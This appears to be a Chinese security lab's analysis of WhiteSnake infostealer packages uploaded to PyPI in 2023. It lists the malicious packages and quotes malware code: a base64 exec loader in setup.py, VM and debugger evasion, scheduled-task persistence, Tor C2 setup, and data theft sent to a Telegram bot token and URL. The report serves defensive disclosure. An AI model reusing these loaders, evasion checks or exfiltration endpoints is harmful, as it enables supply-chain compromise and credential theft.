背景
墨菲安全实验室在持续监测开源软件仓库中的投毒行为,4 月 14 日起陆续发现至少 41 个包含白蛇(White Snake)后门的 Python 包被发布到 PyPI 仓库,目前相关的后门包仍在持续发布。
事件简述
白蛇 (WhiteSnake)是在今年 2 月份开始持续活跃、以信息窃取为目的的后门软件,其通过 telegram 等渠道进行售卖,按照不同订阅期限有不同定价。在近期更新的版本中还针对中文系统的适配进行了优化。
(订阅价格及版本更新说明)
我们监测发现,从 4 月 14 日开始在 PyPI 仓库中出现利用“白蛇”进行信息窃取的后门组件(testwhitesnake),这些包会根据不同操作系统分别执行恶意逻辑,针对 Windows 执行“白蛇”远控木马,针对 Linux 收集系统截屏、用户凭据、系统进程、IP 地址等敏感信息并发送到指定的 telegram 机器人。JForg、Checkmarx 等安全团队也对其进行了跟进分析。
当前投毒者仍在持续向 PyPI 仓库投放恶意 Python 包,墨菲安全发现至少有 41 个包含“白蛇”后门的 Python 包,这些包当前在 PyPI 仓库中已经被下线。
包名 | 版本 | 发布时间 |
BootcampSystem | 0.1 | 2023/05/09 |
sobit-ishlar | 0.1 | 2023/05/09 |
colorara | 0.1 | 2023/05/08 |
libida | 0.2 | 2023/05/08 |
lindze | 0.1 | 2023/05/07 |
cloudfix | [0.0.0,2] | 2023/05/01 |
cloud-client | 1.34 | 2023/05/01 |
libide | 0.1 | 2023/05/01 |
libidreq | 0.1 | 2023/05/01 |
Networkfix | [1,2] | 2023/05/01 |
Networkdriver | 1 | 2023/05/01 |
NetworkPackage | 1 | 2023/05/01 |
tiktok-phone-cheker | 2.42 | 2023/04/28 |
tg-bulk-sender | 2.3 | 2023/04/28 |
setnetwork | 0.3 | 2023/04/28 |
social-scrapper | 3.6 | 2023/04/25 |
quick-telegram-sender | 0.7 | 2023/04/25 |
pandarequest | 0.1 | 2023/04/23 |
libidrequest | 0.4 | 2023/04/23 |
panderequests | 0.1 | 2023/04/22 |
pandirequests | 0.1 | 2023/04/22 |
parser-scrapper | 7.2 | 2023/04/22 |
qsteemp | 0.5 | 2023/04/22 |
detection-telegram | 5.6 | 2023/04/21 |
scrappers-dev | 4.1 | 2023/04/21 |
aietelegram | 0.3 | 2023/04/21 |
aeivasta | 0.3 | 2023/04/20 |
scrappers | 3.5 | 2023/04/20 |
social-checker | 7.2 | 2023/04/19 |
support-hub | 0.8 | 2023/04/18 |
support-dev | 7.8 | 2023/04/17 |
androidspyeye | 2.5 | 2023/04/17 |
tiktokthon | 0.1 | 2023/04/17 |
test-23234231 | 0.1 | 2023/04/14 |
test23414234234 | 0.6 | 2023/04/14 |
test24234 | 0.1 | 2023/04/14 |
testwhitesnakemodule | 0.1 | 2023/04/14 |
testwhitesnake123a | 0.1 | 2023/04/14 |
testwhitesnake | 0.1 | 2023/04/14 |
aeodata | 0.4 | 2023/04/14 |
aeodatav04 | 0.4 | 2023/04/14 |
恶意样本分析
在包名的选择上,一部分包名可能与仓库中已有包相近(如 aietelegram 和 aiotelegram、scrappers 和 scrapers),从而容易使开发者混淆。
在具体内容上,投毒者将恶意代码 base64 编码后放置在 setup.py 文件中,从而在通过 pip 安装时加载。其针对 Windows 与 Linux 等其他操作系统设置了不同的后门逻辑。
# You got me :D
from os import name
from sys import argv
from base64 import b64decode
if 'sdist' not in argv:
if name == 'nt':
exec(b64decode('CmltcG9ydCBvcyBhcyBvCmltcG9yd……'))
else:
exec(b64decode('Vz0ndXRmLTgnClY9J0dFVCcKVT0nbGludXgnCl……'))
针对 Windows 系统
针对 Windows 系统将写入并执行一个“白蛇”可执行文件:
p=o.path.join(t.gettempdir(),'i7ec20e412b411c01546c9692.exe')
if not o.path.exists(p):
with open(p, 'wb') as f:
# 写入恶意软件
f.write(b'MZx90x00x03x00x00x00x04x00x00x00xffxffx00x00……')
o.startfile(p)
“白蛇”使用 C# 编写,对函数名、变量名等进行编码混淆防止静态检测:
“白蛇”反编译截图
通过解码后的源码可以发现其通过判断常见的虚拟机和调试器对抗动态调试分析。
//绕过指定虚拟机检测:
List list = new List
{
"virtual","vmbox","vmware","virtualbox","box","thinapp",
"VMXh","innotek gmbh","tpvcgateway","tpautoconnsvc","vbox","kvm","red hat"
};
……
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("rootCIMV2", "SELECT * FROM Win32_ComputerSystem"))
{
foreach (ManagementObject managementObject in managementObjectSearcher.Get())
{
managementObject.Get();
foreach (string str in strArray)
{
if (managementObject["Manufacturer"].ToString().ToLower().Contains(str)
|| managementObject["Model"].ToString().ToLower().Contains(str))
{
flag = true;
break;
}
……
//绕过调试器检测
if (VMPresent ||
Debugger.IsAttached ||
Debugger.IsLogging() ||
ProtectionUtils.GetModuleHandle("SbieDll.dll") != IntPtr.Zero ||
ProtectionUtils.GetModuleHandle("HTTPDebuggerBrowser.dll") != IntPtr.Zero ||
ProtectionUtils.GetModuleHandle("FiddlerCore4.dll") != IntPtr.Zero ||
ProtectionUtils.GetModuleHandle("RestSharp.dll") != IntPtr.Zero ||
ProtectionUtils.GetModuleHandle("Titanium.Web.Proxy.dll") != IntPtr.Zero)
{
Console.WriteLine("F**k off!");
Environment.Exit(5);
}
恶意软件会将其可执行文件复制到 %localappdata%NET.Framework
目录,将文件访问权限设置为只读并且每间隔一分钟启动该可执行文件。
//自我复制和执行恶意文件
File.Copy(location, malware_path, true);
new FileInfo(malware_path).IsReadOnly = true;
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append("/C chcp 65001 && ");
stringBuilder.Append("ping 127.0.0.1 && ");
stringBuilder.AppendFormat("schtasks /create /tn "{0}" /sc MINUTE /tr "{1}" /rl {2} /f && ", Path.GetFileNameWithoutExtension(location), malware_path, is_admin ? "HIGHEST" : "LIMITED");
stringBuilder.AppendFormat("DEL /F /S /Q /A "{0}" &&", location);
stringBuilder.AppendFormat("START "" "{0}"", malware_path);
using (Process.Start(new ProcessStartInfo
{
FileName = "cmd.exe",
Arguments = stringBuilder.ToString(),
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true,
UseShellExecute = true
}))
成功运行后将获取系统中的屏幕截图、用户名、操作系统、处理器信息、进程列表或加密货币和金融服务的凭据等聚合成 XML 加密后发送到攻击者的 Telegram 机器人,如:
<?xml version="1.0" encoding="utf-16"?>
<Report xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<files>
<file filename="BrowsersChromeKey" filedata="DymxpZd8QfxCcGpXMzXbMY50B" filesize="0" createdDate="0" modifiedDate="0" />
<file filename="BrowsersEdgeKey" filedata="qtUBhhtDOzJPCe5rnJISrKHnU9w" filesize="0" createdDate="0" modifiedDate="0" />
</files>
<information>
<information key="Screenshot" value="/9j/4AAQSkZJRgABAQEAYABgAAD/..."/>
<information key="Username" value="user" />
<information key="Compname" value="DESKTOP-PC" />
<information key="OS" value="Microsoft Windows NT 6.2.9200.0" />
<information key="Tag" value="tag" />
<information key="IP" value="138.125.xxx.xxx" />
<information key="Screen size" value="640x420" />
<information key="CPU" value="Intel(R) Core(TM) CPU" />
<information key="GPU" value="VMware SVGA 3D" />
<information key="RAM" value="1GB" />
<information key="Disk" value="5GB" />
<information key="Manufacturer" value="VMware, Inc." />
<information key="Model" value="VMware />
<information key="Beacon" value="" />
<information key="Execution timestamp" value="1681234567" />
<information key="LoadedAssemblies" value="ntdll;KERNEL32;KERNELBASE;ADVAPI32;msvcrt;..." />
<information key="RunningProcesses" value="msedge;ApplicationFrameHost;svchost;svchost;svchost;SearchApp;svchost;SearchFilterHost;msedge;svchost;msedge;msedge;..." />
</information>
</information>
</Report>
为了使溯源更加困难,恶意软件通过配置 torrc 文件与恶意 C2 服务器建立连接,攻击者可远程执行任意系统命令,如:卸载软件、截屏、上传/下载文件等。
//torrc 文件
SOCKSPort torPort + 1
# The port on which Tor will listen for local connections from Tor controller applications
ControlPort torPort + 2
DataDirectory
# HiddenServicePort x y:z says to redirect requests on port x to the address y:z.
HiddenServiceDir
HiddenServicePort 80 127.0.0.1:torPort
HiddenServiceVersion 3
针对其他系统
恶意代码针对 Linux/MacOS 等其他系统主要为窃取系统敏感信息,包括:加密钱包(Exodus 、Electrum等)、主机信息(用户名、计算机名称、操作系统、IP 和 ISP 名称)以及浏览器和软件(如:火狐、Telegram、Mozilla Thunderbird 和 Filezilla)密钥等。
def gather_system_info():
try:
http = PoolManager()
response = http.request('GET', 'http://ip-api.com/line?fields=query,isp')
except HTTPError as e:
print(e)
ip, isp = '127.0.0.1', 'Unknown'
else:
ip, isp = response.data.decode(UTF).strip().split('n')
for blacklisted in ['google', 'mythic beasts']:
if blacklisted in isp.lower():
exit(5)
try:
screenshot_data = BytesIO()
if HAS_PIL:
screenshot = ImageGrab.grab()
screenshot.save(screenshot_data, format='png')
screenshot_encoded = b64encode(screenshot_data.getvalue()).decode(UTF)
except Exception as e:
print(e)
screenshot_encoded = ''
with open(path.join(temp_dir, 'system.json'), 'w') as f:
dump({
'Screenshot': screenshot_encoded,
'Username': getuser(),
'Compname': node(),
'OS': platform(),
'Tag': team_name,
'IP': ip,
'ISP': isp,
'Execution timestamp': time()
}, f)
收集敏感信息并加密后发送到攻击者的 Telegram api,如:hxxps://api.telegram
[
.
]
org/bot6209822134:AAEHrtHFcGSwPxreBCCquU4vzJrpFtyg2kA/sendDocument?chat_id=-1001529292045&caption=Linux
风险防范
开发者可以通过以下手段进行防范:
- 尽可能使用官方仓库
NPM、PyPI 等开源软件仓库的安全管理机制在逐渐增强,当前这些被投毒组件已经从 PyPI 仓库下线,但一些镜像站没有同步下线操作,开发者仍有可能安装受到影响。因此通过使用官方仓库能够有效缓解此类风险。
- 信息甄别
投毒包大多基于已有的包进行修改,通过相近的名称、描述等信息混淆开发者的判断。开发者可以通过仔细甄别包名、开发者、介绍文档等信息,避免混淆使用恶意软件包。
- 签名验证
针对直接下载包的场景,在 PyPI、Maven 等大多数开源软件仓库中都提供了文件哈希、签名信息,NPM 也在推进 sigstore 方案的集成,开发者可以通过签名校验开源软件包的真实性和完整性。